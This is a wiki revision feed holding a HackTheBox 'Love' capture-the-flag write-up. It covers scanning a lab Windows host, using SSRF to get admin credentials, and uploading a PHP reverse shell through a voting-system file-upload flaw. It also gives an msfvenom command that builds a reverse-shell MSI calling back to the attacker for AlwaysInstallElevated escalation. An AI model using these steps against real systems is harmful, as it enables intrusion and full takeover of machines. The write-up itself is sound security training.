<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FLove</id>
	<title>Write-ups/HTB/Love - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FLove"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Love&amp;action=history"/>
	<updated>2026-04-21T16:51:12Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Love&amp;diff=1184&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 22:30, 28 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Love&amp;diff=1184&amp;oldid=prev"/>
		<updated>2022-01-28T22:30:58Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Love&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Windows&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = SSRF, AlwaysInstallElevated&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-123.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This Windows machine have a SSRF vulnerability. Through SSRF we get credentials to a webserver hosting a voting system, that have a upload RCE that I&amp;#039;ll abuse to get reverse shell. The user have a registery that allows us to install .msi files as NT AUTHORITY\SYSTEM, giving is administrator access.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with a NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/love]&lt;br /&gt;
└─# nmap -p- --min-rate 10000 10.10.10.239 -oN nmap.port&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-23 16:09 EST&lt;br /&gt;
Warning: 10.10.10.239 giving up on port because retransmission cap hit (10).&lt;br /&gt;
Nmap scan report for 10.10.10.239&lt;br /&gt;
Host is up (0.069s latency).&lt;br /&gt;
Not shown: 65461 closed tcp ports (reset), 55 filtered tcp ports (no-response)&lt;br /&gt;
PORT      STATE SERVICE&lt;br /&gt;
80/tcp    open  http&lt;br /&gt;
135/tcp   open  msrpc&lt;br /&gt;
139/tcp   open  netbios-ssn&lt;br /&gt;
443/tcp   open  https&lt;br /&gt;
445/tcp   open  microsoft-ds&lt;br /&gt;
3306/tcp  open  mysql&lt;br /&gt;
5000/tcp  open  upnp&lt;br /&gt;
5040/tcp  open  unknown&lt;br /&gt;
5985/tcp  open  wsman&lt;br /&gt;
5986/tcp  open  wsmans&lt;br /&gt;
7680/tcp  open  pando-pub&lt;br /&gt;
47001/tcp open  winrm&lt;br /&gt;
49664/tcp open  unknown&lt;br /&gt;
49665/tcp open  unknown&lt;br /&gt;
49666/tcp open  unknown&lt;br /&gt;
49667/tcp open  unknown&lt;br /&gt;
49668/tcp open  unknown&lt;br /&gt;
49669/tcp open  unknown&lt;br /&gt;
49670/tcp open  unknown&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/love]&lt;br /&gt;
└─# cat nmap.result                                                                                                                                                                      1 ⨯&lt;br /&gt;
# Nmap 7.92 scan initiated Sun Jan 23 16:05:38 2022 as: nmap -sC -sV -p- --min-rate 10000 -oN nmap.result 10.10.10.239&lt;br /&gt;
Warning: 10.10.10.239 giving up on port because retransmission cap hit (10).&lt;br /&gt;
Nmap scan report for 10.10.10.239&lt;br /&gt;
Host is up (0.031s latency).&lt;br /&gt;
Not shown: 65015 closed tcp ports (reset), 501 filtered tcp ports (no-response)&lt;br /&gt;
PORT      STATE SERVICE      VERSION&lt;br /&gt;
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)&lt;br /&gt;
| http-cookie-flags:&lt;br /&gt;
|   /:&lt;br /&gt;
|     PHPSESSID:&lt;br /&gt;
|_      httponly flag not set&lt;br /&gt;
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27&lt;br /&gt;
|_http-title: Voting System using PHP&lt;br /&gt;
135/tcp   open  msrpc        Microsoft Windows RPC&lt;br /&gt;
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn&lt;br /&gt;
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)&lt;br /&gt;
| tls-alpn:&lt;br /&gt;
|_  http/1.1&lt;br /&gt;
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27&lt;br /&gt;
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in&lt;br /&gt;
| Not valid before: 2021-01-18T14:00:16&lt;br /&gt;
|_Not valid after:  2022-01-18T14:00:16&lt;br /&gt;
|_ssl-date: TLS randomness does not represent time&lt;br /&gt;
|_http-title: 403 Forbidden&lt;br /&gt;
445/tcp   open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)&lt;br /&gt;
3306/tcp  open  mysql?&lt;br /&gt;
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)&lt;br /&gt;
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27&lt;br /&gt;
|_http-title: 403 Forbidden&lt;br /&gt;
5040/tcp  open  unknown&lt;br /&gt;
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)&lt;br /&gt;
|_http-server-header: Microsoft-HTTPAPI/2.0&lt;br /&gt;
|_http-title: Not Found&lt;br /&gt;
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)&lt;br /&gt;
| tls-alpn:&lt;br /&gt;
|_  http/1.1&lt;br /&gt;
|_ssl-date: 2022-01-23T21:32:16+00:00; +23m28s from scanner time.&lt;br /&gt;
|_http-title: Not Found&lt;br /&gt;
| ssl-cert: Subject: commonName=LOVE&lt;br /&gt;
| Subject Alternative Name: DNS:LOVE, DNS:Love&lt;br /&gt;
| Not valid before: 2021-04-11T14:39:19&lt;br /&gt;
|_Not valid after:  2024-04-10T14:39:19&lt;br /&gt;
|_http-server-header: Microsoft-HTTPAPI/2.0&lt;br /&gt;
7680/tcp  open  pando-pub?&lt;br /&gt;
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)&lt;br /&gt;
|_http-server-header: Microsoft-HTTPAPI/2.0&lt;br /&gt;
|_http-title: Not Found&lt;br /&gt;
49664/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
49665/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
49666/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
49667/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
49668/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
49669/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
49670/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows&lt;br /&gt;
&lt;br /&gt;
Host script results:&lt;br /&gt;
| smb-os-discovery:&lt;br /&gt;
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)&lt;br /&gt;
|   OS CPE: cpe:/o:microsoft:windows_10::-&lt;br /&gt;
|   Computer name: Love&lt;br /&gt;
|   NetBIOS computer name: LOVE\x00&lt;br /&gt;
|   Workgroup: WORKGROUP\x00&lt;br /&gt;
|_  System time: 2022-01-23T13:32:03-08:00&lt;br /&gt;
| smb-security-mode:&lt;br /&gt;
|   account_used:&lt;br /&gt;
|   authentication_level: user&lt;br /&gt;
|   challenge_response: supported&lt;br /&gt;
|_  message_signing: disabled (dangerous, but default)&lt;br /&gt;
| smb2-security-mode:&lt;br /&gt;
|   3.1.1:&lt;br /&gt;
|_    Message signing enabled but not required&lt;br /&gt;
|_clock-skew: mean: 2h23m28s, deviation: 4h00m01s, median: 23m27s&lt;br /&gt;
| smb2-time:&lt;br /&gt;
|   date: 2022-01-23T21:32:06&lt;br /&gt;
|_  start_date: N/A&lt;br /&gt;
&lt;br /&gt;
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
# Nmap done at Sun Jan 23 16:08:49 2022 -- 1 IP address (1 host up) scanned in 191.40 seconds&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll note a couple of things before moving forward.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The domain is &amp;#039;&amp;#039;&amp;#039;love.htb&amp;#039;&amp;#039;&amp;#039;. * There is also a subdomain &amp;#039;&amp;#039;&amp;#039;staging.love.htb&amp;#039;&amp;#039;&amp;#039;.* The webserver allows both HTTP and HTTPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== love.htb ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220124225250.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It requires a Voters ID, which I dont have.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== staging.love.htb ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220123222631.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There is a &amp;quot;Free File Scanner&amp;quot; running on staging.love.htb/beta.php. This is probably vulnerable to SSRF and we could list resources we otherwise wouldnt be allowed to view.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== https://love.htb ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vising https gives us a forbidden error.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220124225310.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Before moving forward I like to run &amp;#039;&amp;#039;&amp;#039;nikto &amp;#039;&amp;#039;&amp;#039;scan against the webserver.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/love]&lt;br /&gt;
└─# cat nikto.result                                                                                                                                                                     4 ⨯&lt;br /&gt;
- Nikto v2.1.6&lt;br /&gt;
---------------------------------------------------------------------------&lt;br /&gt;
+ Target IP:          10.10.10.239&lt;br /&gt;
+ Target Hostname:    10.10.10.239&lt;br /&gt;
+ Target Port:        80&lt;br /&gt;
+ Start Time:         2022-01-23 16:12:03 (GMT-5)&lt;br /&gt;
---------------------------------------------------------------------------&lt;br /&gt;
+ Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27&lt;br /&gt;
+ Cookie PHPSESSID created without the httponly flag&lt;br /&gt;
+ Retrieved x-powered-by header: PHP/7.3.27&lt;br /&gt;
+ The anti-clickjacking X-Frame-Options header is not present.&lt;br /&gt;
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS&lt;br /&gt;
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type&lt;br /&gt;
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.&lt;br /&gt;
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST&lt;br /&gt;
+ OSVDB-3092: /admin/: This might be interesting...&lt;br /&gt;
+ OSVDB-3268: /includes/: Directory indexing found.&lt;br /&gt;
+ OSVDB-3092: /includes/: This might be interesting...&lt;br /&gt;
+ OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner.&lt;br /&gt;
+ OSVDB-3268: /icons/: Directory indexing found.&lt;br /&gt;
+ OSVDB-3268: /images/: Directory indexing found.&lt;br /&gt;
+ OSVDB-3233: /icons/README: Apache default file found.&lt;br /&gt;
+ OSVDB-3092: /Admin/: This might be interesting...&lt;br /&gt;
+ 8672 requests: 0 error(s) and 15 item(s) reported on remote host&lt;br /&gt;
+ End Time:           2022-01-23 16:18:57 (GMT-5) (414 seconds)&lt;br /&gt;
---------------------------------------------------------------------------&lt;br /&gt;
+ 1 host(s) tested&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There is a subdirectory called &amp;#039;&amp;#039;&amp;#039;/admin&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220124225730.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Acces - SSRF ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SSRF is when a malicious user cause the webserver to make an additional or edited HTTP request to the resource of the attacker’s choosing. Since we have a couple ports open we could try to make a request to the webserver. After some enumeration I found that making a request to &amp;#039;&amp;#039;&amp;#039;http://127.0.0.1:5000&amp;#039;&amp;#039;&amp;#039; gives us credentials to voting systems admin panel we found earlier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220124225216.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After logging in, we are presented with a admin panel.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220124225826.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Shell as Phoebe ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using &amp;#039;&amp;#039;&amp;#039;searchsploit &amp;#039;&amp;#039;&amp;#039;we find that voting system is vulnerable to upload remote code exection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220124225525.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at the explanation for this RCE, we have to add a candidate and its possible to upload arbritray file when it asks us to upload a photo.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220124230639.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So first we have a to create &amp;#039;&amp;#039;&amp;#039;Position&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220124230657.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then I&amp;#039;ll add a candidate and upload a PHP reverse shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220124230717.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Visiting &amp;#039;&amp;#039;&amp;#039;/images&amp;#039;&amp;#039;&amp;#039; we can see that the payload is uploaded. I&amp;#039;ll start a netcat listener and open the shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220124230739-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220124233229.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Shell as NT AUTHORITY\SYSTEM ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll use carlospolops &amp;#039;&amp;#039;&amp;#039;winpeas.exe&amp;#039;&amp;#039;&amp;#039; to enumerate possible privilege escalation vectors.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I notice these two lines in the scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220124234737.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Reading &amp;#039;&amp;#039;&amp;#039;hacktricks &amp;#039;&amp;#039;&amp;#039;link.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220124234910.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Great, so I&amp;#039;ll create a .msi payload using msfvenom and upload it to the machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/love]&lt;br /&gt;
└─# msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.17 LPORT=5555 -f msi -o rev.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After uploading it to the machine, I&amp;#039;ll run the msi payload and start another netcat listener.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220125000657.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220125000734.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* If there is a possible SSRF vulnerabilty try to make a request to internal resources to see if there is anything intersting. * Enumerating registry could give us a hint at possible privesc vectors. In this instance Phoebe could install msi file as NT AUTHORITY\SYSTEM. * No every reverse shell will work right away. I had to try a couple of times to get the PHP reverse shell to give me a stable connection.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Windows]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>